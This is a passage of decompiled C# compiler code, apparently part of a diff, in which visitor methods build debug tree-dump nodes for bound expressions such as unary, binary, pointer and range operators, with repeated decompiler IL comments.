(IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("finallyBlock", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.FinallyBlock, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTypeExpression(BoundTypeExpression node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Expected O, but got Unknown + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Expected O, but got Unknown + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Expected O, but got Unknown + TreeDumperNode[] obj = new TreeDumperNode[7] + { + new TreeDumperNode("aliasOpt", (object)node.AliasOpt, (IEnumerable)null), + new TreeDumperNode("boundContainingTypeOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.BoundContainingTypeOpt, null) }), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode), + default(TreeDumperNode) + }; + IEnumerable enumerable; + if (!node.BoundDimensionsOpt.IsDefault) + { + enumerable = node.BoundDimensionsOpt.Select((BoundExpression x) => Visit(x, null)); + } + else + { + IEnumerable enumerable2 = Array.Empty(); + enumerable = enumerable2; + } + obj[2] = new TreeDumperNode("boundDimensionsOpt", (object)null, enumerable); + obj[3] = new TreeDumperNode("typeWithAnnotations", (object)node.TypeWithAnnotations, (IEnumerable)null); + obj[4] = new TreeDumperNode("type", (object)node.Type, (IEnumerable)null); + obj[5] = new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null); + obj[6] = new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null); + return new TreeDumperNode("typeExpression", (object)null, (IEnumerable)(object)obj); + } + + public override TreeDumperNode VisitTypeOrValueExpression(BoundTypeOrValueExpression node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + return new TreeDumperNode("typeOrValueExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("data", (object)node.Data, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNamespaceExpression(BoundNamespaceExpression node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("namespaceExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("namespaceSymbol", (object)node.NamespaceSymbol, (IEnumerable)null), + new TreeDumperNode("aliasOpt", (object)node.AliasOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnaryOperator(BoundUnaryOperator node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Expected O, but got Unknown + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Expected O, but got Unknown + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Expected O, but got Unknown + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Expected O, but got Unknown + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Expected O, but got Unknown + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Expected O, but got Unknown + return new TreeDumperNode("unaryOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[10] + { + new TreeDumperNode("operatorKind", (object)node.OperatorKind, (IEnumerable)null), + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("methodOpt", (object)node.MethodOpt, (IEnumerable)null), + new TreeDumperNode("constrainedToTypeOpt", (object)node.ConstrainedToTypeOpt, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("originalUserDefinedOperatorsOpt", (object)node.OriginalUserDefinedOperatorsOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitIncrementOperator(BoundIncrementOperator node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Expected O, but got Unknown + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Expected O, but got Unknown + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Expected O, but got Unknown + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Expected O, but got Unknown + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Expected O, but got Unknown + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Expected O, but got Unknown + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Expected O, but got Unknown + //IL_017e: Unknown result type (might be due to invalid IL or missing references) + //IL_0184: Expected O, but got Unknown + return new TreeDumperNode("incrementOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[13] + { + new TreeDumperNode("operatorKind", (object)node.OperatorKind, (IEnumerable)null), + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("methodOpt", (object)node.MethodOpt, (IEnumerable)null), + new TreeDumperNode("constrainedToTypeOpt", (object)node.ConstrainedToTypeOpt, (IEnumerable)null), + new TreeDumperNode("operandPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.OperandPlaceholder, null) }), + new TreeDumperNode("operandConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.OperandConversion, null) }), + new TreeDumperNode("resultPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ResultPlaceholder, null) }), + new TreeDumperNode("resultConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ResultConversion, null) }), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("originalUserDefinedOperatorsOpt", (object)node.OriginalUserDefinedOperatorsOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAddressOfOperator(BoundAddressOfOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + return new TreeDumperNode("addressOfOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("isManaged", (object)node.IsManaged, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnconvertedAddressOfOperator(BoundUnconvertedAddressOfOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("unconvertedAddressOfOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitFunctionPointerLoad(BoundFunctionPointerLoad node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("functionPointerLoad", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("targetMethod", (object)node.TargetMethod, (IEnumerable)null), + new TreeDumperNode("constrainedToTypeOpt", (object)node.ConstrainedToTypeOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + return new TreeDumperNode("pointerIndirectionOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("refersToLocation", (object)node.RefersToLocation, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPointerElementAccess(BoundPointerElementAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected O, but got Unknown + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Expected O, but got Unknown + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Expected O, but got Unknown + return new TreeDumperNode("pointerElementAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("index", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Index, null) }), + new TreeDumperNode("@checked", (object)node.Checked, (IEnumerable)null), + new TreeDumperNode("refersToLocation", (object)node.RefersToLocation, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Expected O, but got Unknown + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Expected O, but got Unknown + return new TreeDumperNode("functionPointerInvocation", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("invokedExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.InvokedExpression, null) }), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitRefTypeOperator(BoundRefTypeOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("refTypeOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("getTypeFromHandle", (object)node.GetTypeFromHandle, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitMakeRefOperator(BoundMakeRefOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("makeRefOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitRefValueOperator(BoundRefValueOperator node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + return new TreeDumperNode("refValueOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("nullableAnnotation", (object)node.NullableAnnotation, (IEnumerable)null), + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitFromEndIndexExpression(BoundFromEndIndexExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("fromEndIndexExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("operand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Operand, null) }), + new TreeDumperNode("methodOpt", (object)node.MethodOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitRangeExpression(BoundRangeExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("rangeExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("leftOperandOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LeftOperandOpt, null) }), + new TreeDumperNode("rightOperandOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.RightOperandOpt, null) }), + new TreeDumperNode("methodOpt", (object)node.MethodOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBinaryOperator(BoundBinaryOperator node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Expected O, but got Unknown + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Expected O, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Expected O, but got Unknown + return new TreeDumperNode("binaryOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("operatorKind", (object)node.OperatorKind, (IEnumerable)null), + new TreeDumperNode("data", (object)node.Data, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("left", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Left, null) }), + new TreeDumperNode("right", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Right, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTupleBinaryOperator(BoundTupleBinaryOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Expected O, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Expected O, but got Unknown + return new TreeDumperNode("tupleBinaryOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("left", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Left, null) }), + new TreeDumperNode("right", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Right, null) }), + new TreeDumperNode("operatorKind", (object)node.OperatorKind, (IEnumerable)null), + new TreeDumperNode("operators", (object)node.Operators, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected O, but got Unknown + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Expected O, but got Unknown + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Expected O, but got Unknown + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Expected O, but got Unknown + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Expected O, but got Unknown + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Expected O, but got Unknown + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Expected O, but got Unknown + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Expected O, but got Unknown + return new TreeDumperNode("userDefinedConditionalLogicalOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[12] + { + new TreeDumperNode("operatorKind", (object)node.OperatorKind, (IEnumerable)null), + new TreeDumperNode("logicalOperator", (object)node.LogicalOperator, (IEnumerable)null), + new TreeDumperNode("trueOperator", (object)node.TrueOperator, (IEnumerable)null), + new TreeDumperNode("falseOperator", (object)node.FalseOperator, (IEnumerable)null), + new TreeDumperNode("constrainedToTypeOpt", (object)node.ConstrainedToTypeOpt, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("originalUserDefinedOperatorsOpt", (object)node.OriginalUserDefinedOperatorsOpt, (IEnumerable)null), + new TreeDumperNode("left", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Left, null) }), + new TreeDumperNode("right", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Right, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Expected O, but got Unknown + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Expected O, but got Unknown + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Expected O, but got Unknown + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Expected O, but got Unknown + //IL_0111: Unknown result type (might be due to 